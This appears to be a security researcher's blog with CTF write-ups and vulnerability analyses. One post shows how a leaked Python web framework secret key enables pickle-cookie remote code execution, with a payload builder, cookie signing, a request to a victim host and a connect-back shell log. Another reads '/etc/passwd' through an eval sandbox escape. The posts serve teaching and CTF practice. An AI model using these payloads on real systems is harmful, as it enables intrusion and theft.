## Token of Appreciation from Whatsapp

Hi Vu,

Sorry for the delay! We have received many emails recently, and we do our best to answer them all. Thank you for your patience.

Thank you very much for reporting the problem and we appreciate much of our users the effort in helping us to improve our product. I've passed along your e-mail to our developers and they are currently working on fixing it.

As a token of appreciation, we would like to give you a lifetime subscription to WhatsApp. This account will remain for free.

In order to do so, we will need your number in full international format (+ Country code Phone number). Please refer to this article for more information.

Thank you!

;) I will update this page with the bug when they have fixed it.

## DEFCON 21 # 12

clgt,

Your performance in the DEF CON CTF 2013 qualifier has qualified you a seat at DEF CON CTF 2013 this year in Las Vegas. Congratulations!

..

snip

..

Yeah :) finally ! It's the first time we are qualified for the largest CTF of the year. I am proud to be a part of the team ! Just a little bit of regret since I couldn't help solve the last challenge, we found the answer when time is already over otherwise we have been rank #5... anyway, it's a motivation to get better and stronger.

## Analysis of nginx 1.3.9/1.4.0 stack buffer overflow and x64 exploitation (CVE-2013-2028)

A few days after the release of nginx advisory (CVE-2013-2028), we managed to successfully exploit the vulnerability with a full control over the program flow. However, in order to make it more reliable and useful in real world environment, we explored several program paths found some other attack vectors. Since the exploit for Nginx 32-bit is available on Metasploit now, we decide to publish some of our works here. In this post, you will find a quick analysis for the vulnerability and an exploitation for a 64-bit linux server using the stack based overflow attack vector.

... more of my post is available here (just too lazy to repost :))

## Math is always useful (or write up of Nullcom prog400)

I bumped to an interesting programming challenge from Nullcom CTF (It's over now, but you can still login to see some challenges):

Given:
N = 80000000000000000
K = 5996159730031
M = 9828343043
Compute the Binomial Coeffcient C(N, K) modulo M.
Flag is the MD5 hash of the answer.

If you do not know Binomial Coefficient, no problem, first link on google, quite a number of formulas to compute C(N,K) there. If you do not want spoiler, stop reading and try first ;).

Now since N, K is pretty large, we need a formula that can compute as quickly as we can. All the formulas in the first wiki page such as i.e. recursive, multiplicative, factorial, are not practical. The recursive formula needs a large memory, and the other two requires some divisions which is not good since we can only perform modulo at the end and big number implementation is always very slow. And even if we can perform some trick to avoid the need of big number or big memory, computing up to $O(K)$ is very slow. They does not look like a good solution (I will try it with CUDA on a free day later)

Digging further, I found an interesting theorem - the Lucas' theorem:

$\binom{m}{n}\equiv\prod_{i=0}^k\binom{m_i}{n_i}\pmod p$
where
$m=m_kp^k+m_{k-1}p^{k-1}+\cdots +m_1p+m_0$
and
$n=n_kp^k+n_{k-1}p^{k-1}+\cdots +n_1p+n_0$

Using this we do not need to perform any big number operation and the cost become something like $O(\log{K})$ . However we still have a problem. p in the formula must be a prime. Our M value is not, $9828343043= 99137 \times 99139$ .

What can we do here ? Let X denote C(N,K), we can find X modulo 99137 and X modulo 99139 using the Lucas' Theorem. But how to find X modulo $99137 \times 99139$  ? I quickly realized that this looks like a Chinese Remainder problem and it's actually a variance. Taking some time to review the problem leads me to a solution and It takes less than half a second to produce the flag: 06360772c0125391f19bd80d381afaac. Let's see if you get the same as mine ;).

Solving this problem reminds me the importance of Mathematics, especially number theory. Decided to take a look at this course on my free time.

## P0wning IE 9 for the first time !!!

First control the eip, then find a rop sequence, find a shellcode, then spray the heap like never before, then wait for the luck to come, then change esp, then wait for virtualalloc, then call esp, then adjust back esp, then wait for the calculator !!!!! Not "simply done" at all, like the fking h3ll all the 31337 out there got 100000   ??? I spent my weekend just for this. Am I foolish ?

p/s: I used an old bug ;) not 0day, do not let the image fool you. Oh and I did bypass alsr + dep ! tricks are always useful !

## Python Web Framework Session Management: from LFR to RCE

Django, Bottle, Flask, .. you name it, are python web frameworks that require a SECRET_KEY in their configurable settings. The documents often recommend people to random their own values to use but I hardly find any text describing enough the dangerous when the secret key is guessed or leaked or hacked (local attack or local file read vulnerability in web application). Attacker can use the SECRET_KEY to fake some cookies, csrf token and then find a way to the admin tools .. but that's a lot of work!! "Simply", he can just use it to execute malicious code :) and I will talk about that in this blog post.

Remember the old day you found a bug in PHP that can read a arbitrary file in the webserver (not local file inclusion),... it could be frustrated for you to escalate it to a remote code execution (RCE)! You probably audit most of the application source to find other bugs or useful info such as user password or database information. In this aspect, can we say PHP is more secured ?

When attacking a python web framework, the attacker, knowing your SECRET_KEY from the source code can easily escalate the LFR attack to the RCE, this is at least true in the set of web frameworks that I had examined. The common problem is that they use pickle for serializing and unserializing the signed cookie.

Flask / Werkzeug ( by default, flash use werkzeug session API that's why we have it here. ): Flask implicitly calls session unserialization if the config['SECRET_KEY'] is set to some value and the session_cookie_name (default='session') exists in the cookie, even if there is no session handling code in the web app (how nice, attacker can create a backdoor by adding SECRET_KEY to the config file, and the naive user will just think of it as 'important').

The unserialize function from werkzeug library is called as follows:

     def unserialize(cls, string, secret_key):
if isinstance(string, unicode):
string = string.encode('utf-8', 'replace')
try:
base64_hash, data = string.split('?', 1)
except (ValueError, IndexError):
items = ()
else:
items = {}
mac = hmac(secret_key, None, cls.hash_method)
# -- snip ---
try:
client_hash = base64_hash.decode('base64')
except Exception:
items = client_hash = None
if items is not None and safe_str_cmp(client_hash, mac.digest()):
try:
for key, value in items.iteritems():
items[key] = cls.unquote(value)
except UnquoteError:
# -- snip --
else:
items = ()
return cls(items, secret_key, False)


The unserializer check the signature, then perform unquote() on cookie value if the signature is correct. unquote() looks very innocent but in fact it is pickle by default.

    #: the module used for serialization.  Unless overriden by subclasses
#: the standard pickle module is used.
serialization_method = pickle
def unquote(cls, value):
# -- snip --
if cls.quote_base64:
value = value.decode('base64')
if cls.serialization_method is not None:
return value
# -- snip --


Bottle: There is no real secret key option from the default bottle, but one may want to encode his cookie by using the signed cookie feature. Let's see how the encode work:

    def get_cookie(self, key, default=None, secret=None):
if secret and value:
dec = cookie_decode(value, secret) # (key, value) tuple or None
return dec[1] if dec and dec[0] == key else default
return value or default


When secret is presented, and there is some value in the cookie, cookie_decode is called:

def cookie_decode(data, key):
data = tob(data)
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
return None


Again, pickle is here !

Beaker Session: (any web service can use Beaker as Middle-ware for session, bottle is one that recommend)  Beaker.Session has many features and can be confused: ( there are 3 keys: secret_key, validate_key, encrypted_key )

• encrypt_key: to encrypt the cookie data and either send back to client (session.type='cookie' / Cookie mode) or store in file (session.type='file' / File mode). If it does not set, the data will not be encrypted !(only base64 encoded). When encrypted_key is presented, the data will be encrypted using a combination of encrypted_key, validate_key(optional) and a random nonce using AES crypto.
• validate_key: to sign the cookie when Cookie mode is used and to encrypt the data (as mentioned)
• secret: to sign the cookie when File mode is used. (Why don't they just use the validate_key ? I have no idea )

Of course, when one can read file, he knows all those keys. However, File mode makes it impossible to attack because we have no control on the serialized data i.e. they are stored in local disk. In Cookie mode, it works, even if the cookie is encrypted (since we know how to encrypt lol). You may ask about the random nonce ? luckily, the nonce is part of the session data (!), hence we can fix it with any value we want.

Here is the code that they use to create the session data ( to send back or store as file):

    def _encrypt_data(self, session_data=None):
"""Serialize, encipher, and base64 the session dict"""
session_data = session_data or self.copy()
if self.encrypt_key:
nonce = b64encode(os.urandom(6))[:8]
encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
self.validate_key + nonce, 1)
data = util.pickle.dumps(session_data, 2)
return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
else:
data = util.pickle.dumps(session_data, 2)
return b64encode(data)


We clearly see that the data is pickled here.

Django: The most well-known and sophisticated web framework in Python. And yes, they did a fairly nice job putting up a warning. IMO, it should be marked as 'critical' or 'caution' and in 'red'.

How does django session work ? We can easily find a comprehensive documentation:  To sum up, django gives 3 settings for sessions: db, file and signed_cookie. Again, we are only interested in signed_cookie because we can easily tamper the data. If SESSION_ENGINE is set to "django.contrib.sessions.backends.signed_cookies", we should confirm signed_cookie is used.

Interestingly, the session data will always be unserialized if we supply a "sessionid" in request cookie. Django also gives a very nice example on how the cookie is signed in their code. This makes our job even easier.

Our attack
We have not discussed about how we attack (some of you may have already known it)! But thanks for the patience ! I write about it lastly since it's the same principle for all cases and very simple (yes! given some knowledge).

Here again, we can read any file. To find the config file is not that difficult because python app tends to import from here and there. When we obtain the secret key, we can simply implement (or re-use) the cookie signing procedure of that web framework and sign our malicious code. Because they use pickle.loads() when unserializing, our malicious payload should be the result of pickle.dumps().

pickle.dumps() and loads() is often safe when playing with data such as string, integer, array, hash, dict... But not when it was used on a certain special crafted object ! In fact, one can execute any python code he wants. I write a nice piece of code to convert a working python code to pickle payload. We shall read the code from connback.py (which is a "connect back" shell) and pickle it. If one execute pickle.loads(payload) our connect back shell will be executed.

code = b64(open('connback.py').read())
class ex(object):
def __reduce__(self):
return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )


Now sign (for flask web app):

def send_flask(key, payload):
mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}


and send it

print requests.get('http://victim/', cookies={'session':s})


In another console:

danghvu@thebeast:~$nc -lvvv 1337 Connection from x.x.x.x port 1337 [tcp/*] accepted !P0Wn! Congratulation !! sh: no job control in this shell sh-4.1$


What else ?
- So what ? I am safe as long as my secret key is safe ! OK, good for you... but that's like saying, "I leave my key on the roof because I know you can't climb there..."
- OK, so If I do not use this type of session cookie, I will be safe ! This is true, for small app it's much nicer to put the session data in file (in database also a risk if one can tamper it, heard about sql injection ?). But for bigger app with distributed storage, this may violate the "shared nothing architecture" or reduce the performance.
- Then how ? Maybe ask the framework not to use pickle but use a different type of serialization that doesn't allow code execution ? I don't know if one exists, but it is nice if it does. PHP is again more secure? their unserialize() and serialize() does not have this problem. (oh wait..)

Last thing:
WebPy: I check their web for session, and this is what I found:
CookieHandler - DANGEROUS, UNSECURE, EXPERIMENTAL

So good job :D, maybe everyone should do this as well. I do not try further, maybe you can try with webpy and others ;).

Here is what I did, PoC only, so make some effort if you want it to work for you ;)
As a gift, this web app is a vulnerable one, let's see if you can find the lfr bug and escalate it to rce, then you will find your real gift, the flag :).

Update: The source code for the vulnerable web app is now included in github, the secret key is not the same as what is running though.

Update: List of people who have found my "gift": moritz_schlarbexecutex ( server is off for security reason :) )
(If you want your name here, please comment with a proof that you have got it)

## Runner Up :)

:) 'w00d'[::-1]

Yes I captured most of the flag ;] and then happily raise our Flag too ;). Need some more binary-workout though.

## Apache Logging the POST data

I have been using Mod DumpIO to log the POST data of a HTTP request. However, DumpIO also logs other metadata and debug info that I can't find a way to get rid of. I tried mod_security, but It's too heavy and I do not need a lot of feature. In the end, I decided to write my own apache module.

I call it Mod DumPost . It does only one job, log the POST request and the Form data request (stuff like file upload) to the error log file (why ? because I have not yet figured out how to redirect it to access log :( )

I'm having some CTF-style challenges in my server ;) so It's really handy to see how people are solving it. You can freely use it, if it breaks, let me know.

## CTF Snatching The H@T 2012

This morning (4/12/2012), 14 'hacker' teams had gathered at the New World Hotel in Ho Chi Minh city, Vietnam for the final round of the Capture The Flag contest "Snatching The H@T".

The champion is as expected: team "DroppingTheHat" which actually consists of 4 junior members of CLGT team. I know everyone of them, all are young and very talented.
The runner up is the team PiggyBird from Ha Noi, which had played extremely well on all binary challenges, just a bit of practicing on the web technology and they are a team to beat.
The 3rd is again a young member of CLGT, he plays alone and did a really good job.

Despite a small problem at the beginning leading to a delay, the whole event ran smoothly (as reported). It's a pity that I was not there, It must be very fun to watch. Congratulation to all teams, I hope you have learned something from it, see your stronger next year !

A big cheer to the organizer, friends behind the scene, who has helped make it a great event. (a tiny cheer for me ;) too). Sleep well tonight, we will be fighting again very soon..

## Hacklu CTF 2012 - The Sandbox Terminal Writeup

This is the writeup I made for a 400 point challenge at @Hacklu-CTF 2012 with clgt team. In the end, we ended up at 5th position. It would have been better if we didn't make a mistake in one challenge and made it unsolvable.

Since the zombie apocalypse started people did not stop to ask themselves how the whole thing began. An abandoned military base may lead to answers but after infiltrating the facility you find yourself in front of a solid steel door with a computer attached. Luckily this terminal seems to connect to a Python service on a remote server to reduce load on the small computer. While your team managed to steal the source, they need your Python expertise to hack this service and get the masterkey which should be stored in a file called key.

https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py

==========================================================================

Solved by w00d @ clgt
Thanks g4mm4 for giving many suggestions and draft the first version of the exploit
==========================================================================

In this ctf, I bumped into a few python challenges. Though having been using it for a while, I'm still a novice and pretty much ill-prepared, It took me a lot of time to read articles about python security. There are many interesting ones which I might write in a separate blog, however they do not help me much to solve this challenge, the only thing they help is to keep me motivated.

The python program consists of two parts:

- First part is the Detangle class which basically make a "sandbox" environment:

1. you can not import anything.
2. you can neither use "open" nor "file" command.
3. It prints some nice debug information about what python command is executed and their arguments.

- Second part allows you to input 3 params: num1, num2 and operator. There are two regular expressions to check your input:

num_pattern = re.compile(r'^[\d]{0,4}$') operator_pattern = re.compile(r'^[\W]+$')
...
if not num_pattern.match(num1) or not num_pattern.match(num2):
raise SystemExit('Number rejected')
if not operator_pattern.match(operator) or len(operator) > 1900:
raise SystemExit('Operator rejected')

1. num1, num2 should only be number, 4 digits at most.
2. operator should not contain any alphanumeric characters and its length must be at most 1900.

These input will be fed into some eval command as follow:

operator = eval(operator) if "'" in operator else operator
print(eval(num1 + operator + num2))


For example, you can input "1" , "2" , "+". The program will return "3", simple as that.

Obviously, if someone tells you to exploit this program, first is to look at "eval" (i.e. "evil") and try to exploit that. But it's a difficult task because you can't bypass the two regular expressions and input any python code, recall that you can only input number or non-alphanumberic character.

I tried several attempts and failed including some silly: trying to write a valid python code using unicode character, trying to overflow eval, trying to exploit Detangle, find a 0-day/1-day of re.match, ..
But failures teach you some lessons. I noticed that "operator" is eval-ed twice. That means after the first eval, we may be able to convert some non-alphanumberic character into python code and get it executed on the next one.

I started with this gadget: s = "(''=='')+(''=='')". Run eval(s) in a python terminal will return you number "2". Using this gadget/similar kind we typically can create any number. Progress: 25% !

Now what about character ? It turned out that I can use backstick :   as repr() which can give me some string that contains alpha-character, such as : (''=='') => "True", (''=='') => "False", moreover I can access each single character using square bracket : (''=='')[1] => 'r', or even better '\xaa'[3] => 'a'. We now can create any of these: 'abcdefxTruFls'. Progress: 50% !

I stop looking at gadget, and start looking at how to bypass the Detangle class. It's not hard as it look, though we can't use "open" or "file" to open a file, can't import anything, we can still use the built-in "execfile". It does not allow us to run abitrary command but we can leaks some info about the content of a file like this:

>>> execfile("/etc/passwd")
Traceback (most recent call last):
File "", line 1, in
File "/etc/passwd", line 1
root:x:0:0:root:/root:/bin/bash
^
SyntaxError: invalid syntax

Progress: 75% !!!!! ** so excited **

I need to read the file 'key' which makes the payload: "+execfile('key')+". As you can see, It contains "k","y","i" that is not in my "magic" list. Luckily the force is with me, 5 minutes after seeing this problem, I come up with this awesome gadget: "%c"%(107) => "k". Any character can be generated using this gadget, however producing the number 107 can consume a lot of characters if done naively.

The last thing is to make the payload as short as possible because the operator length is limited at 1900. Putting everything together, I am able to produce a 1650-bytes payload, far smaller than the limit! Now see how it work:

nc exploit.py | nc ctf.fluxfingers.net 2060
...
Traceback (most recent call last):
File "./sandbox.py", line 77, in
print(eval(num1 + operator + num2))
File "./sandbox.py", line 45, in __call__
result = self.orig(*args, **kwargs)
File "", line 1, in
File "./sandbox.py", line 45, in __call__
result = self.orig(*args, **kwargs)
File "key", line 1, in
dafuq_how_did_you_solve_this_nonalpha_thingy
NameError: name 'dafuq_how_did_you_solve_this_nonalpha_thingy' is not defined

Mission accomplished ! Beer time =]
Exploit: http://ex.wargame.vn:8080/hacklu/sandbox/exp.py